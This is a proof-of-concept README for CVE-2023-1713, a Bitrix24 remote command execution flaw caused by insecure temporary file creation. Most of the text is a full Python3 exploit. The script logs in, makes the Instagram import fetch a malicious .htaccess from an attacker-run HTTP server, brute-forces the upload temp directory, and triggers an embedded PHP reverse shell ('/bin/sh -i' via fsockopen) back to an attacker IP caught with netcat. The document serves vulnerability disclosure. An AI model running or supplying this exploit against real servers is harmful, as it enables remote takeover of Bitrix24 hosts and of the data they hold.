/CVE-2023-1713

Bitrix24 Remote Command Execution (RCE) via Insecure Temporary File Creation

Apache License 2.0Apache-2.0

CVE-2023-1713

Bitrix24 Remote Command Execution (RCE) via Insecure Temporary File Creation

Insecure temporary file creation in bitrix/modules/crm/lib/order/import/instagram.php in Bitrix24 22.0.300 hosted on Apache HTTP Server allows remote authenticated attackers to execute arbitrary code via uploading a crafted “.htaccess” file.

https://starlabs.sg/advisories/23/23-1713/

Proof-of-Concept 🔥

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure temporary file creation vulnerability and opens a reverse shell connection to the victim web server.

It is worth noting that a user without any permissions or access to any group can exploit this vulnerability.

A sample exploit script is shown below:

# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess

import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000


PROXY = None

def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=f"[{k}]")
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def start_server():
    class MyHandler(http.server.BaseHTTPRequestHandler):
        htaccess = open("./.htaccess", "rb").read()

        def do_GET(self):
            path = urlparse(self.path).path

            self.send_response(200)
            self.end_headers()

            # Request .htaccess
            if ".htaccess" in path:
                self.wfile.write(self.htaccess)
                self.wfile.flush()
                return

            # Delay
            print("[+] Delaying return by", DELAY_SECONDS, "seconds")
            # send the body of the response
            for i in range(DELAY_SECONDS):
                self.wfile.write(b"A\n")
                self.wfile.flush()
                time.sleep(1)

            # Shutdown server when done
            self.server.shutdown()

        def log_message(self, format: str, *args: typing.Any) -> None:
            # Silence logging
            pass

    class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
        """Handle requests in a separate thread."""

    httpd = ThreadedHTTPServer(("0.0.0.0", LPORT1), MyHandler)

    def forever():
        with httpd:
            httpd.serve_forever()

    thread = threading.Thread(target=forever, daemon=True)
    thread.start()
    print("[+] Started HTTP server on", LPORT1)
    return httpd


def instagram_import(session, sessid):
    session.post(
        HOST
        + "/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax",
        data=nested_to_urlencoded([{
            "IMAGES": [
                          f"http://{LHOST}:{LPORT1}/.htaccess"
                      ] * N_REPS + [f"http://{LHOST}:{LPORT1}/delay"],
            "NAME": "Product 1"
        }], prefix="items"
        ),
        headers={"X-Bitrix-Csrf-Token": sessid},
    )
    print("[+] Waiting done")


def test_exists(dir_name):
    resp = requests.head(f"{HOST}/upload/tmp/{dir_name}/.htaccess", proxies=PROXY)
    return resp.status_code == 200


def bruteforce():
    print("[+] Bruteforcing .htaccess location")
    chars = string.digits + string.ascii_lowercase
    for dir_name in itertools.product(chars, repeat=3):
        dir_name = "".join(dir_name)
        if test_exists(dir_name):
            print(f"[+] Found .htaccess: {HOST}/upload/tmp/{dir_name}/.htaccess")
            return dir_name


def reverse_shell(dir_name):
    requests.get(f"{HOST}/upload/tmp/{dir_name}/.htaccess?ip={LHOST}&port={LPORT2}", proxies=PROXY)


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    start_server()
    threading.Thread(target=instagram_import, args=(s, sessid)).start()
    dir_name = bruteforce()
    threading.Thread(target=reverse_shell, args=(dir_name,)).start()

    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT2)])

.htaccess file:

<Files ~ "^\.ht">
    Require all granted
    Order allow,deny
    Allow from all
    SetHandler application/x-httpd-php
</Files>


# <?php /* Sleep to allow nc listener to start */sleep(2);$sock=fsockopen($_GET["ip"],intval($_GET["port"]));$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>

This file is required to be present in the same directory as the Python3 exploit code. When running the exploit code, it will spawn an HTTP server on LPORT1 serving the malicious .htaccess file, and also start a netcat listener on LPORT2 for the reverse shell.